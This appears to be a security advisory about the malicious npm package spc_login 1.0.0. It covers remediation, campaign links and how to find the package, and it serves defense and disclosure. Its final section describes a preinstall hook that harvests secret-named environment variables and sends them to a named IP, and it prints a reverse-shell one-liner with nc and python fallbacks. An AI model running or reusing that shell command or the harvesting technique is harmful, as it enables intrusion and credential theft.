Which versions of spc_login are malicious?

The following npm versions of spc_login are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate spc_login if I installed it?

spc_login is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed spc_login — how do I know if it already compromised me?

If spc_login was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is spc_login part of a known attack campaign?

Yes — spc_login is associated with the IN-MAL-2026-019155 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find spc_login across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for spc_login (version 1.0.0).

What this malware does

package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.
